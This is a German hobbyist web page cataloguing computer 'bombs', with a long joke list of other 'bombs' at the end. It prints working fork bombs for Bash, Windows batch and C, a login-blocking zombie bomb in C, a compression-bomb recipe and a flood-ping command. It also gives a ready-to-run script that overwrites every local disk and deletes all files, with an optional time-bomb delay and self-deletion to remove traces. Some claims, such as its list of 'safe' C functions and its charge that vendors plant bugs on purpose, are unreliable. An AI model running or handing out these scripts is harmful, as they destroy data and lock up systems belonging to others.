Bombenbau-Anleitungen (für angehende Informatiker)


Fork-Bombe

Eine Fork-Bombe ist ein Programm/Skript oder ein Kommandozeilen-Befehl der unbeschränkt forkt und sich dadurch bombenartig vervielfältigt.
Ein Beispiel für die Shell ist diese Zeile, die auch auf der Kommandozeile (der Bash und ähnlicher Shells) funktioniert:

:(){ :|:& };:

Schöner sieht diese Bombe auf dem Bild vom Debian-Paket pydance-music aus, das man mit dem Lied forkbomb.ogg unter /usr/share/games/pydance/songs/forkbomb/ findet:
Forkbomb


Hier wird zunächst die Funktion : definiert (bis zum Semikolon) und anschließend wird diese ausgeführt.
Danach geht es rund: Die Funktion ruft sich zweifach selbst auf und jeder dieser neuen Aufrufe ruft sich auch zweifach auf und so weiter.
Die Pipe (|) sorgt dafür dass die Shell sich forkt um das erste : auszuführen (es muss ja gleichzeitig mit dem zweiten laufen, um seine Ausgabe als Eingabe für das zweite zu verwenden); das & sorgt dafür, dass die Shell sich forkt, um den ganzen Ausdruck (also : | :) im Hintergrund auszuführen. Jeder Funktionsaufruf sorgt also für zwei neue Prozesse; diese führen den gleichen Code selber ebenfalls aus (da die Funktion sich ja selber aufruft), erzeugen als ebenso zwei neue Prozesse. Das sind schon vier; bei der nächsten Runde werden es 8; usw..
Wie beim Explodieren von A-Bomben hat man auch hier anfänglich ein exponentielles Wachstum; daher der Name der Fork-Bombe und deshalb verwendet das obige Bild von pydance-music als Grundlage ein Bild vom Mock-Up (Attrappe) der Little Boy.
Kettenreaktion
Dieses (auf 50 % verkleinerte und per Rechtsklick vergrößerbare) Bild von wikipedia.de zeigt das exponentielle Wachstum, bei dem jeder einzelne Prozess zwei weitere auslöst.


Ein äquivalentes Beispiel der obigen Zeile für die Shell gibt es natürlich auch für Batch-Dateien (MS-Windows):

%0|%0

Diese 5 Zeichen in einer Text-Datei mit Namen beispiel.bat reichen aus; zum Ausführen reicht dann ein Doppelklick.

In C sieht die Fork-Bombe so aus:

#include <unistd.h>
int main (int argc, char* argv[]) { for(;;) fork(); }

In der Praxis zeigen sich einige Unterschiede zwischen den verschiedenen Varianten der Fork-Bombe: Die letzte Version, mittels "gcc -O2 -o forkbomb forkbomb.c" compiliert, bringt SuSE 11.1 augenblicklich so schnell und nachhaltig zum Stehen, das ein in einem anderen Fenster laufendes top nichts davon anzeigt und das Betriebssystem zumindest eine Stunde lang nur auf den Magic System Key Request reagiert, selbst wenn die Forkbombe nur von einem einfachen User ausgeführt wird, während die Shell-Version es nur träge macht, selbst wenn die Shell-Version von root ausgeführt wird.
Der Grund hierfür sind Limitierungen von (2009) modernen Betriebssysteme, die meist auch beim Superuser wirksam sind. Beispielsweiese läßt sich das SuSE 11.1 durch die C-Version nicht aufhängen, wenn man in die C-Version vor jedem fork ein printf einfügt, oder hinter jedem fork eine Endlosschleife wie for(;;) einfügt, denn das reduziert die Geschwindigkeit des Forkens und gibt mehr Zeit zum Limitieren.
Die Wirkung der Fork-Bombe hängt auch vom Nice-Level bzw. der Priorität ab: Je niedriger der Nice-Level bzw. je höher die Priorität desto schwerer ist sie zu stoppen.

Verwendet werden Fork-Bomben unter Anderem zum Reduzieren der Rechner-Geschwindigkeit (für einzelne Prozesse) und auch zum Testen von Limitierungen beispielsweise mittels ulimit oder /etc/security/limits.conf: Wurde richtig limitiert, kann eine Fork-Bombe nicht stören; hat ein User keine Limitierungen, was traditionellerweise beim Superuser der Fall ist, MUß der Rechner hierdurch hängen bleiben weil die Prozesse Resourcen (Speicher, CPU-Zeit) belegen, die durch das exponentielle Wachstum rasch erschöpft sind, aber Notfall-Aktionen wie z. B. der Magic System Key Request, müssen weiterhin funktionieren.

Ein weiteres Anwendungsfeld für Fork-Bomben ist das Überprüfen von Echtzeit-Eigenschaften wie Interruptlatzenzeiten unter wiedrigen Bedingungen, beispielsweise von RTAI.
Unter BSD findet man ein Fork-Bomb-Programm normalerweise unter ports/packages/pkgsrc, zum Üben der System-Administration: http://bsdwiki.reedmedia.net/wiki/Monitor_disk_input--output.html.
Eine Fork-Bombe ist eine der wenigen Möglichkeiten einen Rechner gezielt zum Hängen bleiben (hangup) zu bringen um beispielsweise Watchdogs, die bei den meisten Server- u. Workstation-Mainboards sowie IPMI-Modulen integriert sind, auch remote zu testen.
Allerdings eignen sich Forkbomben nur wenig zum Belasten von CPUs/GPUs/Kernen: Wie auch Messungen mit Leistungsmessern zeigen, ist der Stromverbrauch mit einer Forkbombe weit geringer als mit einem CPUburn-Programm, also einem Programm das optimiert wurde um (alle) CPUs/GPUs/Cores durch möglichst hohen Stromverbrauch möglichst stark zu erwärmen. Und hierbei zeigen sich die besten und damit höchsten Werte mit den Programmen der CPU-Hersteller, die jeweils für nur eine Prozessor-Familie erstellt werden und meist "confidential" sind.
Man kann zwar versuchen mit einer Fork-Bombe die CPUs noch zu mehr beschäftigen indem man sie nebenbei noch etwas rechnen läßt, z. B. mittels

:(){ :|md5sum /dev/urandom&:& };:

oder

:(){ :|bzip2 -c /dev/zero > /dev/null&:& };:

aber damit wird meist nicht mehr Leistung verbraucht.


Links dazu
Wikipedia-Eintrag dazu
http://www.forkbomb.com/

Zombie-Bombe

Die Zombie-Bombe ist eine Variante der Fork-Bombe: Bis auf den ersten Prozess der Fork-Bombe sind alle anderen ein Zombie, also tote Prozesse, die nicht mehr durch Töten beseitigt werden können, weil sie schon tot sind.
Zombie-Bomben sind im Prinzip etwas schwerer kontrollierbar als einfach Fork-Bomben, weil sie nur durch Töten des ersten Prozesses (der kein Zombie sein kann) beendet werden können, aber weil Zombies tote Prozesse sind, steigt die CPU-Auslastung (load average) nicht an und daher werden laufende Prozesse durch eine Zombie-Bombe kaum beeinträchtigt; ein Rechner kann dadurch nicht zum hängen bleiben (hangup) gebracht werden.

Hier ist ein Beispiel einer Zombiebombe in C, die so lange Zombies produziert, wie geforkt werden kann:


// zombiebomb.c: A simple zombie bomb.
// "THE BOMBWARE LICENSE" (Revision 22):
// Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
// As long as you retain this notice you can do whatever
// the GPL (GNU Public License version 3) allows with this stuff.
// If you think this stuff is worth it, you can send me a (deactivated) bomb (or
// money via paypal).

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  pid_t child1;
  static long long int lli;
  int i_pid = getpid(); // Master PID = first PID

  for(;;)
  {
    lli++;
    switch( child1=fork() )
    {
      case -1 : printf("Error: Could not fork.\n");
          continue;
      case 0 : // Child: Do remain as a zombie.
          printf("Child %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
          exit(1);
      default : printf("Parent %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
          continue;
    }
  }
  return 0;
}


Diese ganz einfache Version ist nur eine halbe Bombe, denn die Zombie-Anzahl wächst nur linear, aber sie erreicht das Limit der Anzahl an Prozessen, das üblicherweise bei ein paar tausend liegt, nach wenigen Sekunden.
Dann sind aber (zumind. unter SuSE 11.1) keine anderen Forks möglich. Beispielsweise kein login, egal ob lokal oder remote; man erhält dann die Fehlermeldung "Init: cannot fork, retry..". Damit kann z. B. ein einfacher User unter SuSE 11.1 verhindern das sich andere User, auch Superuser, einloggen.
Zombie-Bomben werden wie fork-Bomben verwendet um Limitierungen u. A. zu testen.
Man kann sie auch dazu benutzen um das Forken, also Starten von neuen Prozessen zu verhindern. Beispielsweise kann man damit das Starten einer (anderen) Fork-Bombe verhindern. Hierzu gibt es die Analogie ein Feuer durch eine Detonation zu löschen, was beispielsweise bei brennenden Erdöl- und Erdgas-Quellen üblich und meist auch das einzig mögliche Verfahren zum Löschen ist.

Zip-Bombe

Eine Zip-Bombe ist eine komprimierte Datei, die unkomprimiert viel größer ist. Dieser Begriff ist also nicht streng definiert; es ist Ansichtssache ob eine stark komprimierte Datei eine Zip-Bombe ist.
Eine Zip-Bombe ensteht praktisch immer, wenn man ein komprimiertes Image einer fabrikneuen Festplatte anfertigt, weil sie fast immer nur binäre Nullen oder zumindest sehr stark komprimierbare Muster enthält.
Ein anderes Beisiel ist 42.zip. Diese Datei enthält 16 gezipte Dateien, die wiederum 16 gehzipte Dateien enthalten, die wiederum 16 gehzipte Dateien enthalten, die wiederum 16 gehzipte Dateien enthalten, die wiederum 16 gehzipte Dateien enthalten, die je eine Datei von 4,3 GB Größe enthalten, so dass die Datei nach dem Entpacken 4,5 PByte groß ist. Der Grund für diesen Aufbau ist, das zip keine Dateien größer 4 GiB verarbeiten kann.

Ein ganz einfacheres Beispiel kann man selber erstellen (Beispiel für Linux/Unix/Cygwin):

dd if=/dev/zero bs=1G count=1024 | bzip2 -9 > klein.bz2

Das Erstellen dieser klein.bz2 dauert rund 11 Stunden mit einem Opteron 8216 (2,4 GHz), weil bzip2 und dd jeweils nur einen Core auslasten und bzip2 mit knapp 28 MB/s lahm ist. Allerdings kann man zum Komprimieren/Dekomprimieren auch Programme nutzen, die mehrere Cores verwenden und damit um ein Vielfaches schneller sind; beispielsweise Parallel BZIP2.
Die mit 767 kB relativ kleine klein.bz2 ist entpackt 1 TiB groß und enthält genau das, was eine fabrikneue 1 TiB große Festplatte üblicherweise enthält. Auf ein 2007 mittelmäßig schnelles kleines RAID, beispielsweise ein RAID0 bestehend aus acht 15k6 SAS-Festplatten, kann diese entpackte Datei in einer Viertelstunde geschrieben werden und ist dabei noch kleiner als die Anfang 2010 bekannte genaueste Berechnung von Pi: http://www.heise.de/newsticker/meldung/Pi-Berechnungsrekord-auf-handelsueblichem-PC-899930.html.
Weniger rechenintensiv als die Erstellung mit dd ist natürlich den Header einer komprimierten Datei zu bearbeiten und so die dekomprimierte Größe einzustellen.
Hier noch eine ähnliche Datei, die mit 2 GiB statt 1 GiB erstellt wurde und die durch die binär gerade Größe auf nur 102 kB komprimiert wurde: mittel.bz2.

Der Name der Zip-Bombe entstand durch schlampig programmierte Software, die durch interne Fehler komprimierte Dateien nicht richtig verarbeitet (siehe nächstes Kapitel und Link) und hat nichts mit exponentiellem Wachstum zu tun.

Solche Programmierfehlern können ebenfalls zum Hängen bleiben führen unter Anderem bei Hard Links, Sparse Files, Link Loops (z. B. ln -sf foo bar; ln -sf bar foo) und Directory Loops, beispielsweise in Zip-Dateien und anderen Dateien die einen Verzeichnisbaum enthalten, wie beispielsweise ISO-Images. Der Grund für ein mögliches Hängen bleiben ist, das das Expandieren, also Kopieren als einfache (andere) Datei, sowohl von Hard Links wie von Sparse Files und Link Loops sowie auch Directory Loops, den Platzbedarf vervielfachen kann und es leicht Probleme gibt, wenn ein Programmierer dies nicht berücksichtigt.
Open-Source-Source-Software wie z. B. die GNU Core Utilities und direkt von den Betriebssytemherstellern stammende Programme haben praktisch nie Probleme damit, wie beispielsweise ein Test mit Link Loops in der Bash zeigt:

> date; ln -sf foo bar; ln -sf bar foo; cat bar; rm bar; rm foo; date
Thu Jul 31 11:49:21 CEST 2008
cat: bar: Too many levels of symbolic links
Thu Jul 31 11:49:21 CEST 2008
>

Link dazu.

Mail-Bombe

Eine Mail-Bombe ist eine Zip-Bombe (s. o.) als Anhang einer E-Mail.
Schlampig programmierte Virenscanner, die beim Scannen von E-Mails komprimierte Dateien ohne Überprüfungen und Limitierungen ganz gnadenlos entpacken, können damit zum Absturz oder Hängenbleiben gebracht werden oder den verfügbaren Platz auf Festplatte und vielleicht auch im RAM komplett belegen. Solche unlimitierten Aktionen sind typische Anfänger-Fehler beim Programmieren, die man am (C-)Sourcode daran erkennt, das fget, malloc, strcat, strcpy, sprintf, strcmp, strdup, strlen oder vprintf verwendet werden, denn die sicheren äquivalenten Funktionen sind fgets, calloc, strncat, strncpy, strnprintf, strncmp, strndup, strnlen und vsnprintf.
Zum Auffinden der genannten unsicheren Funktionen gibt es Programme wie Flawfinder.
Genauer und auch für andere Programmiersprachen beschrieben findet man dies unter der Rubrik Secure Coding bei CERT: http://www.cert.org/secure-coding/.
Siehe auch SPSA: The Secure Programming Skills Assessment und 24C3-Vortrag: Grundlagen der sicheren Programmierung.
Für zuverlässige Programme ist zusätzlich fachmännische Programmierung erforderlich. Hierzu gehört beispielsweise Rückgabewerte zumindest generell auszuwerten und Daten aus gepufferten Schnittstellen wie der seriellen Schnittstelle mit select und nicht mit read einzulesen sowie Schnittstellen wie die serielle nur exklusiv zu öffnen um auszuschließen, das mehrere Programme sie gleichzeitig verwenden und sich gegenseitig Daten überschreiben/wegnehmen:

...
  if (-1 == ioctl (fd, TIOCEXCL, &modelines)) // Put the tty into exclusive mode. Schnittstelle exklusiv öffnen.
  {
      (void)fprintf (stderr, "ERROR at ioctl TIOCEXCL on port %s, exiting! Schnittstelle %s konnte nicht exklusiv geöffnet werden; Exitus!\n", a_device, a_device);
      perror ("ioctl()");
      return (-1);
  }
...

Siehe auch: Die 25 gefährlichsten Programmierfehler, Stand Januar 2009.
Die wichtigsten Vorgaben sicherer Programmierung sind - unabhängig von der Programmiersprache - folgende fünf Punkte:
1. Prüfung von Ein- und Ausgaben
2. Authentisierung und Zugriffskontrollen
3. korrektes Handhaben und Schutz von sensitiven Informationen und Daten
4. Befolgen des "Least Privilege"-Prinzips, das die tiefstmöglichen Privilegien vergibt
5. Verhindern von Informationspreisgaben (Geheimnisprinzip/Datenkapselung)

Bei vielen Programmen ist dies aber ignoriert worden, so das beispielsweise ntpd und apcupsd problemlos die gleiche serielle Schnittstelle öffnen können und sich damit gegenseitig die Daten überschreiben und kryptische Fehlermeldungen produzieren.
Neben solchen Anfänger- und Flüchtigkeits-Fehlern beliebt sind auch Fehler schon in der Spezifikation bzw. das Fehlen der Spezifikation sowie falsche Vereinfachungen wie das eine Minute 60 Sekunden hat (Weglassen der Schaltsekunden), das ein Jahr 365 Tage hat (Weglassen des 29. Februar und der Schaltjahre generell; ein Beispiel ist Zune am 366. Tag des Jahres 2008) und auch das falsche Berechnen von Schaltjahren.
Ähnliche Klassiker sind das Jahr-2000-Problem und das Jahr-2010-Problem.

Solche Fehler finden sich in sehr vielen Programmen und sind die Ursachen, weshalb Hersteller wie Apple und Microsoft regelmäßig als Updates bezeichnete Bugfixes veröffentlichen. Allerdings sind solche Fehler nicht selten beabsichtigt um beispielsweise a) in den Nachrichten präsent zu sein (kostenlose Werbung, "All Publicity Is Good Publicity") und b) um die Kunden zum Kauf einer neueren Version zu animieren. Ein Beispiel ist Excel von Microsoft: Von Anfang an verwendete es eine falsche Berechnung der Schaltjahre und Mitte der 1990er Jahre machte es mehrmals durch mehrere grobe Fehler von sich Reden: http://www.heise.de/newsticker/Excel-Bugs-nehmen-kein-Ende--/meldung/2407 . Wie sich 10 Jahre später zeigt sind nicht nur immer noch reichlich Fehler enthalten ( http://www.spiegel.de/netzwelt/web/0,1518,563637,00.html ) sondern es werden auch mit Updates gelegentlich neue Fehler eingebaut: http://www.pctipp.ch/news/sicherheit/42727/excel_rechenfehler_nach_patch_day.html. Im Gegensatz dazu haben sich andere Hersteller weniger Mühe beim Einbauen von Fehlern gegeben; beispielsweise zeigt Googles kostenlose, webbasierte Tabellenkalkulation Google Spreadsheets keinen der Fehler von Microsoft Excel.

Das Problem unsicherer Programmierung betrifft paradoxerweise auch Sicherheits-Software wie Virenscanner und Firewalls, zumindest wenn sie closed-source sind und daher die Nutzer den mieserablen Sourcecode nicht einsehen können: http://www.businessweek.com/technology/content/jun2005/tc20050617_1613_tc024.htm.
Und dieses Thema ist ein Dauerbrenner; auch Ende 2008 ist es noch aktuell: http://www.heise.de/newsticker/Schwachstellen-in-mehreren-Virenscannern--/meldung/120826.
Hinzu kommt, das viele Sicherheitslücken ungepatcht bleiben, auch um so einen Zwang zum Kaufen von neuer Software zu schaffen: http://www.heise.de/security/Studie-Viele-Sicherheitsluecken-bleiben-ungepatcht--/news/meldung/126785.
Und es ist nicht anzunehmen, das sich dies ändern wird, denn Sicherheitsprodukte bestehen schon seit Ende der 80er Jahre eine Zertifizierung im ersten Anlauf in 96 % aller Fälle nicht und in den meisten Fällen entspricht nicht einmal die Kernfunktion des Produkts den gewünschten Anforderungen: http://www.heise.de/security/meldung/Nur-wenige-Sicherheitsprodukte-bestehen-Zertifizierung-im-ersten-Anlauf-861036.html.

Das lange bekannte Mail-Bomben-Problem mit schlampig programmierten Virenscannern gibt es immer noch, beispielsweise bei der Web-Mail von web.de (Stand Mitte 2007): Versucht man die 42.zip anzuhängen, bekommt man die Fehlermeldung "Dateiname: 42.zip gefundener Virus: ZIP-Crash", was schlicht falsch ist und zeigt, dass immer noch ein schlampig programmierter Virenscanner verwendet wird: Die Datei enthält keinerlei Code und kann daher überhaupt keinen Virus enthalten!
Andere Dateien wie klein.bz2 werden von web.de sogar kommentarlos entfernt, so dass wenn man nicht extra kontrolliert, das Löschen der Datei überhaupt nicht mitbekommt!
Dies sind schwerwiegende Bugs, denn sie bedeuten, das man über web.de praktisch keine einfach komprimierten Festplatten-Images verschicken kann (Stand 2007-2009)!
Als Workaround bleibt nur ein Verschlüsseln der Dateien, z. B. von *.img-Dateien, mittels "zip -P PaSsWoRt -r images *.img", oder in ein Steganogramm packen oder den Mail-Provider zu wechseln (oder aufkaufen und diesen Unfug abstellen lassen).

Allerdings gibt es auch DAPs, dümmste anzunehmende Provider, die das Problem auf die Kunden verlagern, indem sie in ihre AGBs schreiben, das Mail-Bomben unzulässig sind. Ein Beispiel findet man in §5 der AGBs der ANTACOM Online Services (Stand 2008-05-31): http://antacom.com/wsp/wagb.htm. Weil dies eine überraschende Vertragsklausel ist, ist sie aber unwirksam (§ 305c BGB). Hinzu kommt, das ohne die Präzisierung, ab welchen Werten genau eine Mail auch eine Mail-Bombe ist, diese Vertragsklausel unklar und auch deswegen unwirksam ist.

Link dazu.

Logische Bombe

Eine logische Bombe ist ein Teil eines Computerprogramms oder Skripts, der unter bestimmten Bedingungen schädliche Aktionen wie z. B. das überschreibende Löschen aller gemounteten und beschreibbaren Dateisysteme auslöst. Auch für Logische Bomben gibt es keine klare Definition, so das es Ansichtssache ist, ob beispielsweise das Leeren des Papierkorbs eine logische Bombe ist.
Ist die auslösende Aktion das Erreichen einer Zeit, so bezeichnet man die logische Bombe auch als Zeitbombe. Hierzu zählen neben Programmen mit bekannter Zeitbeschränkung vor allem auch Programme mit einem heimlichen Verfallsdatum, insbesondere wenn sie Geld gekostet haben, denn hierdurch entsteht direkt ein finanzieller Schaden/Schadensersatzanspruch. Ein Beispiel hierfür ist das Fahrtenbuchprogramm vom "WISO Rechnungsbuch 2008", das 2008 knapp 30 Euro kostete und nach nur einem Jahr Gebrauch ohne Vorwarnung jeden neuen Dateneintrag verweigert und so plötzlich unbrauchbar wird; der Kunde erfährt davon erst im Nachhinein: http://www.heise.de/ct/inhalt/2009/15/70/.
Ist das Auslösen manuell und die Folgen gewollt, ist eine logische Bombe in der Regel ein sehr gründliches Aufräumen (Bereinigen der Datenträger); englisch core purge genannt.
Klassische Beispiele für logische Bomben sind format C: und rm -rf /, aber mittels undelete-Programmen ist der Schaden von diesen Klassikern reparierbar, weil die Daten nicht überschrieben werden und deshalb noch auf den Datenträgern wiedergefunden werden können. Sofern man keine uralte Version von rm hat, fehlt zudem noch die Option --no-preserve-root und auch mit dieser Option bleiben alle Verzeichnisse erhalten, die ein gemountetes Dateisystem enthalten; rm weigert sich mit der Fehlermeldung "Device or resource busy" und terminiert dann.
Hinzu kommt, das hierbei nicht fehlertolerant nach inodes gelöscht wird (http://www.cyberciti.biz/tips/delete-remove-files-with-inode-number.html, http://admon.org/planet/delete-files-inode-number).
Besser aber auch nicht perfekt ist daher ein Löschen mittels:

cd /; for i in $(ls -a); do rm -rf -- $i; done

Das Problem hierbei ist, das man sich beim kompletten Löschen sozusagen den Ast absägt auf dem man sitzt; nachdem rm sich selbst gelöscht hat, schlagen nachfolgende Aufrufe von rm fehlt.
Zum vollständigen Löschen muß man daher die Lösch-Software in das RAM laden und von dort aus auf den Datenträgern (Festplatten, Netzlaufwerke etc.) komplett Löschen. Teilweise geht das mit der Bash-Funktion/Shell Builtin > vor dem Dateinamen, durch das die Dateilänge auf 0 gekürzt wird, aber danach bleiben noch die Verzeichnisstruktur sowie die Dateinamen erhalten und durch das Leeren gibt es diverse Fehler wie "Bus Error", durch die auch dieses Löschen abbricht.
Ein richtiges Löschen sollte stattdessen endgültig/sicher erfolgen, also auch durch Überschreiben mit einem Zufallsmuster (Datenmüll).
Für einzelne Dateien nimmt man dafür Programme wie shred oder srm.
Für Datenträger nimmt man hierzu dd mit der Option conv=noerror, ddrescue, dd_rescue oder besser (d. h. schneller als ddrescue oder dd_rescue mit /dev/urandom als Quelle) badblocks mit der Option -t random.
Deshalb hier ein Beispiel-Skript (nuke.sh) zum möglichst kompletten Löschen:


#!/bin/bash

# "THE BOMBWARE LICENSE" (Revision 22):
# Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
# As long as you retain this notice you can do whatever
# the GPL (GNU Public License version 3) allows with this stuff.
# If you think this stuff is worth it, you can send me a (deactivated) bomb (or
# money via paypal).

# uncomment the next line for a time bomb (with a delay of 3600 s = one hour)
#sleep 3600

# function makeempty: Set the file length recursively to zero, usefull for non-local
# files which can not be deleted by rm/srm.
makeempty ()
{
    find "$i" -type f | while read file
    do
        >"$file"
    done
}

# function delete: makeempty root (/) and try (secure) deletion of every ordinary file, usefull
# only for non-local files.
delete ()
{
    cd /
    for i in $(ls -ar)
    do
        makeempty &
        # srm -rf "$i"&
        rm -rf -- "$i"&
    done
}

# Delete all local data carrier by overwriting with random pattern:
# badblocks with f (force) for overwriting also mounted partitions/data carriers and
# w for write. Todo: Version which works also with all DVD-RWs, tape drives, ...
cd /dev
for i in $(ls hd? sd? fd0 fd1)
do
    badblocks -fw -t random "$i" &
done

delete &

# simple self-destruction to remove traces early
> $0
rm -rf -- $0


Es gibt diverse andere Varianten wie die Dateien selbst nicht zu verändern, aber deren Namen zu vertauschen.
Eine weitere Variante ist die Dateinamen beizubehalten, den Inhalt aber mit einem (für den User unbekanntem) Passwort zu verschlüsseln.
Um logische Bomben besser verkaufen zu können gibt es sie unter verschiedensten Namen, beispielsweise als "Anti-Theft Technologie" bei Intel u. Fujitsu.
Anwendungsgebiete sind neben dem Datenschutz auf gestohlenen PCs und Notebooks hauptsächlich das Löschen von gebrauchten Datenträgern vor dem Verkauf, beispielsweise mit einem von Knoppix-CD/DVD oder Knoppix-USB-Speicherstick (mit funktionierendem Schreibschutzschalter) gestartetem (Boot-)Skript.
Hierbei verwendet man aber nur die Schreib-Lesetests, also die Schleife mit badblocks, und zur Überprüfung sowie Dokumentation Log-Dateien, z. B. mit (vor dem &) angehängtem

2>&1 | tee /tmp/mountpoint/log/badblocks_$i.txt

und zum Speichern der Log-Dateien, z. B. auf USB-Speicherstick, muß man sicherstellen das der Speicherort nicht überschrieben wird, z. B. durch

if [ "$i" != "sda" ]
then
...
fi

um die Zeile mit badblocks.
Ähnliches macht das Darik's Boot and Nuke ("DBAN") aber ohne Log-Dateien, so das Datenträger-Defekte meist nicht gefunden werden und das Verkaufsargument der geprüften und fehlerfreien Datenträger fehlt.
Logische Bomben wirken auch gegen Viren, Würmer, Trojaner und andere Malware, aber sie überschrieben auch alle anderen Dateien.
Starten kann man solche Bomben auch über definierte Tastenkombinationen, z. B. mittels CTRL-ALT-DEL, zu der man unter Linux u. Ä. eine Zeile in der /etc/inittab findet; um die geänderte inittab zu übernehmen ist nachher ein "telinit q" (oder reboot) nötig. Allerdings ist meistens, insbesondere bei verschlüsselten Partitionen, ein Shutdown sinnvoller, beispielsweise mittels "init 6" (nicht "init 0" wegen möglichen cold boot attacks).

Daneben bietet "Lost Data Destruction" von Beach Head Solutions drei verschiedene Varianten zum Löschen aller Daten auf Laptops und Mobile Security 7.0 von Kaspersky hat eine Löschfunktion für verlorene oder gestohlene Mobiltelefone, die alle Daten löscht. Ähnliche Programme findet man hier: http://www.golem.de/0909/69881.html.
Es gibt auch Versionen der logischen Bomben, die neben den Daten auch das Betriebssystem, das BIOS und die Firmwaren, z. B. der Festplatte(n), Grafikkarte(n), HBA(s) usw. überschreiben. Die betroffene Hardware ist danach meist nicht reparierbar, und damit meist Schrott, wie nach einer nahen Explosion einer Sprengstoffbombe.

Link dazu.

Kryptologische Bombe

Die Kryptologische Bombe ist ein elektromechanisches Dechiffriergerät, das mit der deutschen Enigma verschlüsselte Nachrichten entzifferte.
Sie wird auch Turing-Bombe genannt, weil Allan Turing daran beteiligt war, aber sie ist praktisch nur von historischem Interesse.

Link dazu.

Ping-Bombe

Als Ping-Bombe wird ein flooding Ping bezeichnet, der eine Netzwerkverbindung sehr langsam und damit praktisch unbrauchbar machen kann. Hierfür benöitgt der Sender der Ping-Pakete aber (deutlich) mehr Bandbreite als das Ziel.
Der Name wird beispielsweise auf Wikipedia verwendet: http://en.wikipedia.org/wiki/Wikipedia:Disabling_edits_by_unregistered_users_and_stricter_registration_requirement und er kommt daher, das das Ziel mit Ping-Paketen "bombardiert" wird. Er hat nichts mit dem Ping of death zu tun.
Er kann kombiniert werden mit einer falschen Absender-IP-Nr. und so zwei Opfer haben, welche die Quelle nicht erkennen können (eine Variante des IP-Spoofing).

Eine Ping-Bombe wird unter Anderem zum Bestimmen von Bandbreiten verwendet.
Beispiel (im Unix-Format, vom Superuser auszuführen):

ping -s 65507 -l 32 -p 0f1e2d3c4b5a6978 -f 192.168.0.1

Die Bandbreite kann man über ifconfig/ipconfig anhand der übertragenen Datenmenge ausrechnen und Programme wie gkrellm, xosview usw. zeigen die erreichte Datenrate direkt an.
Mit einer Ping-Bombe kann man auch die Qualität der Datenverbindung überprüfen, denn das Programm Ping gibt neben der Verzögerungszeit (Round Trip Time, kurz RTT) ja auch die Anzahl der verlorenen und der defekten Datenpakete an. Hierzu sollte man die Datenpakete maximal groß wählen (MTU-28) und als nicht defragmentierbar kennzeichnen (Option "-M do"). Mit den Programmen ifconfig/ipconfig und ethtool erhält man weitere Informationen über die Qualität der Datenverbindung und man kann damit beispielsweise auch zwischen einem defekten Modem und einer defekten Telefonleitung eindeutig unterscheiden, allein mit Software.

Verwandt mit der Ping-Bombe sind Smurf-Attacken.

Neben dem einfachen Ping kann man prinzipiell auch arping, httping sowie hping und andere wie bing, fping, mtr und pathping verwenden.

BGP-Bombe

Die BGP-Bombe ist der Mißbrauch des Border Gateway Protocol (BGP, RFC 4271) zum "kapern" von Webservern (bzw. deren IP-Nr.). Solche Bomben sind sehr effektiv, weil das BGP so gut wie keine Autorisierungsmechanismen hat, die Missbrauch verhindern könnten.
Die Pakistan Telecom hat mit so einer Bombe im Februar 2008 stundenlang Youtube.com nicht nur in Pakistan sondern sogar weltweit gesperrt, obwohl diese Mißbrauchs-Möglichkeit schon über 10 Jahre vorher allgemein bekannt war: http://www.eweek.com/c/a/Security/Pakistan-Drops-the-BGP-Bomb/
http://www.heise.de/security/Router-luegen-nicht-was-wenn-doch--/news/meldung/114984

Bomb48

Für alle Informatik-Studenten, die ihre Bombe verloren haben. Von Dr. Evil.
Quelle: http://www.infmath.de/wbb/index.php?page=Thread&threadID=940

E-Bombe/EMP-Bombe

E-Bomb
Quelle: http://www.globalsecurity.org/military/systems/munitions/hpm.htm.
Weitere Links: Weiterer http://science.howstuffworks.com/e-bomb.htm
http://web.archive.org/web/20061117165357/http://www.airpower.maxwell.af.mil/airchronicles/kopp/apjemp.html
http://encyclopedia.thefreedictionary.com/Explosively pumped flux compression generator
http://www.tfd.chalmers.se/~valeri/EMP.html


Computer Bombs

Ca. 1995:
Computer Bomb
Auf 50 % verkleinertes und per Rechtsklick vergrößerbares Bild.

2006: Dell Laptop explodes
http://www.theinquirer.net/inquirer/news/1042700/dell-laptop-explodes-japanese-conference


ANSI-Bombe

(nur für MS-DOS/MS-Win9x/ME)

Patch bombs, bombout, bombing out etc. in Linux

find /usr/src/linux/. -type f -exec grep -i "bomb" {} \;



IPBomb



Postscript-Bombe



Textur-Bombe, 3D-Bombe



Google-Bombe



Bombe (Fehlermeldung)



Microsoft-Bombe



Internet-Bombe



Safari-Teppich-Bombe



XBomb



Bomberman



ESX-Zeitbombe



PCBombe



High Performance Computing Bomb



USB Bombe

Bombastischer Speicher bombensicher: USB-Bombe für explosive Daten

USB Bomb
Zum Anschließen eignet sich besonders der USB Doomsday Device Hub/Suicide Bomb Button mit Kill switch: USB Bomb


Nicht direkt zur Informatik gehörend, aber auch für Informatiker interessante "Bomben" ;-)

Sexbombe

Leuchtbomben - Eine Bomben-Entdeckung

Bombardierkäfer

Stinkbombe (FeS + 2HCl => H2S (g) + FeCl2)

Who?-Me?-Bombe und Gay Bomb

Bomba - eine Kalorienbombe.

Rettungsbombe

Weitere Kalorienbomben sind die Rumbombe, die Liegnitzer Bombe und die Eisbombe, beispielsweise die Fürst-Pückler-Bombe.

Vulkanische Bombe

Schmutzige Bombe und Sprengsatz-Bombe

Geldbombe

Arschbombe

Rauchbombe

Lachbombe

Bombenidee

Bomberjacke passend zum Bomber.
Allerdings wird Bombing auch von Sprayern ausgeübt.

Bombenwetter

Bomben-Software

Bombenjahre

Schlaue Bomben

Intelligente Bomben

Säurebombe (Acid Bomb); nicht zu verwechseln mit Säurezündern.

Grüne Bomben: Nicht nur stärker als Bomben mit TNT sondern auch ökologisch korrekt durch Sprengstoffe der nächsten Generation wie z. B. Tetrazolen HBT und G2ZT.

23 Bomben-Rezepte

Vitaminbombe

Ein berühmter Fernseh-Bombenbenauer ist MacGyver, aber dessen Bomben sind im Film meist deutlich übertrieben.

